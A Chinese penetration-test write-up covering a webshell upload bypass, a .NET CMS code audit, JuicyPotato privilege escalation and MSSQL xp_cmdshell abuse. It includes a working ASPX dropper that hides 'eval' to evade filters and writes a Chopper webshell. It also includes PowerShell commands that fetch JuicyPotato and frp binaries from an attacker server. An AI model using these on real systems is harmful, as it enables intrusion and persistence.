暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

实战|一次项目渗透实战

菜鸟学安全 2021-10-26
429

19年的某次项目,回顾时候放出来做博客文章。


1. 后台getshell绕过


存在某处上传



这里发现上传任意文件,但是会检测文件内容,上传的不能带有eval。带有就会返回为空,不提交。



大致思路可以有:写一个文件保存的aspx,然后去访问,就可以再根目录生成一个aspx文件。不过这里很蛋疼,这个同样会检测,如果你代码里面写了eval,就会失败。这里我把eval做了一个数组,然后提交



代码如下:

    <%@ WebHandler Language="C#" class="Handler" %>  
    eval
    using System;
    using System.Web;
    using System.IO;
    public class Handler : IHttpHandler {
    public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";
    char[] letters = { 'e', 'v', 'a', 'l'}; 弄了一个数组,来防止检测eval
    string st = "@ ";
    string ssa = "<%";
    string bb = "Page Language=\\"Jscript\\"%><%";
    string aa = new string(letters);
    string zcz = "(Request.Item[\\"chopper\\"],\\"unsafe\\");%>";
    string payload = ssa+st+bb+aa+zcz; 做了拼接
    StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
    file1.Write(payload);
    file1.Flush();
    file1.Close();
    }
    public bool IsReusable {
    get {
    return false;
    }
    }
    }
    复制


    上传成功。进入之后,权限很低,仅仅是iis用户



    2. NET审计


    得到shell权限之后,我分析了一波他的网站源码。
    .NET core的反编译可以使用dnSpy 和 ILSpy 两个都可以
    先来了解一下.NET的MVC模式


    .NET的MVC路由配置



    我有一个Products的请求,然后将它映射到相关的控制器,由控制器去构建Model,Model返回给控制器相关数据,控制器就将这些数据渲染给View,最终返回一个html页面给用户。
    而这里要讲的路由就是,怎么把HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上
    路由分两种 一种是Conventional Routing 按约定配置路由

      app.UseMvcWithDefaultRoute();  使用默认路由,
      复制


      等价于下面这种自定义路由

        app.UseMvc(routes =>
        {
        routes.MapRoute("default", "{controller=Home}/{action=Index}/{id?}");
        }); 自定义路由,如果Http请求没有控制器,就自动找Home,没有方法就自动找Index


        Http请求 ->-> HomeController下的Index action
        computer/index ->-> computerController下的Index action
        复制


        第二种是Attribute Routing 特性路由(webapi)
        例子,现在有一个controllers名为about,其有两个方法me和company

          namespace Tutorial.Web.Controllers
          {
          [Route("about")] 这种就是。Controller级别的.想访问这个About控制器,路径必须以about开始
          // [Route("[Controller]/[action]")] 或者直接这样子
          public class AboutController
          {
          // 假设我想直接输入/About 就能访问me 就把Route留空。
          [Route(" ")]
          public string Me()


          {
          return "HH";
          }
          [Route("Company")] 匹配Company
          public string Company()
          {
          return "AA";
          }
          }
          }


          ? 将一个路由参数标记为 可选参数
          [Route("api/product/{id:int}")] 将id参数绑定为int类型
          [HttpPost]
          [Route("api/product/{id}")] 标记为post类型
          复制


          审计过程


          这个程序我一步一步来说我的思路,毕竟我才入门.NET ,可能有一点不准确。还请指出我存在的错误。
          首先我要弄懂的是这个CMS是怎么去访问的,怎么映射到相关方法,权限控制哪些能访问的。
          在.NET中,上面说的路由,是HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上。但是在映射之前,你需要指定程序去服务才行。
          web.config默认配置就有说明,怎么去服务请求的.
          这是manager的配置,可以看到访问/API/ 就把请求给webapihandle去服务



          这是webapihandle的文件内容



          实现了一个一般处理程序处理过程HttpHandlerHttpHandler,来响应我们的http请求。
          然后接受我们的参数,通过反射的方法调用其它dll中的类和方法



          加载dll文件



          通过HTTP请求来访问加载dll文件的方法和属性.例如。


            http://localhost/API/SystemUser/Create/ 返回:[0]:API,[1]:SystemUser,[2]:Create</example>
            复制


            requestObject是加载方法,而parametValues是方法所需要的参数。然后调用该方法和类,传参,如果请求成功则返回json数组,请求失败则用自定义的json数组



            这里我觉得需要注意的,它请求的类名都是以API结尾的,所有我们就能解释后面访问为什么不需要加上API。



            下面这一块我尝试理解了一下,这里应该是一个改写的Route,它大概实现了对路由的控制功能,这里分三种情况

            • [WebAPI(false)]
               不用判断登入状态

            • [WebAPI("xxx.Access")]
               判断登入状态且判断用户权限

            • [WebAPI]
               单单判断登入状态



            我们没有登入的方法,所以需要去找那些不需要登入的方法。
            大概说了一下我怎么去看这个cms的,下面漏洞发现过程就不一一细说了。我是一个一个方法去看,只看我能访问的。


            审计结果


            找了以下几个漏洞。
            一处上传漏洞


            一处sql注入,很明显了。直接拼接code,没有做任何处理。



            一处上传漏洞,直接把文件后缀当作保存文件后缀,没自定义




            又一处sql注入漏洞,带报错的



            3.烂土豆提权


            偶然发现这个烂土豆,windows的一个本地特权提升工具。



            光提权没用,想登入3389得做映射。这里我用了frp来端口映射。



            frpc -c frpc.ini
            OK!



            4.Mssql提权


            刚好之前找到了一个mssql的数据库可以外连。



            阿里云的,,服务器。



            试试能不能开启mssql的命令执行

            MSSQL开启命令执行

              exec sp_configure 'show advanced options',1;reconfigure;


              exec sp_configure 'xp_cmdshell',1;reconfigure;


              exec master.dbo.xp_cmdshell 'whoami';
              复制



              有戏。

              这里我就一个命令执行,新加用户也没有权限,而且只开了1433.。。

              我就想,之前用烂土豆把用户给增加了,这台机器也是2012的,说不定有戏

              先把烂土豆上传上去,把烂土豆放在外网服务器上,然后用powershell下载


                exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''http://你的服务器地址/JuicyPotato.exe'',''C:\Users\MSSQLSERVER\Downloads\123.exe'')"';
                复制



                成功!!



                因为也没开3389,继续用frp映射出来

                  exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.exe'',''C:\Users\MSSQLSERVER\Downloads\frpc.exe'')"';


                  exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.ini'',''C:\Users\MSSQLSERVER\Downloads\frpc.ini'')"';
                  复制


                   

                  作者:pw0rld,文章来源于https://pw0rld.icu/index.php/archives/4/


                  更多技术文章请关注公众号:

                  文章转载自菜鸟学安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                  评论